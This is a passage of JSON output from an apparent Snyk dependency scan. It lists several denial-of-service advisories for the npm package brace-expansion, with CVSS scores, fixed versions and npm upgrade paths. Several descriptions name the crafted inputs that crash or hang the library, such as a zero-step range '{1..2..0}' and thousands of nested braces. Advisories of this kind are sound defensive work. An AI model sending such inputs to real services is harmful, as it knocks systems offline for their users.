"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
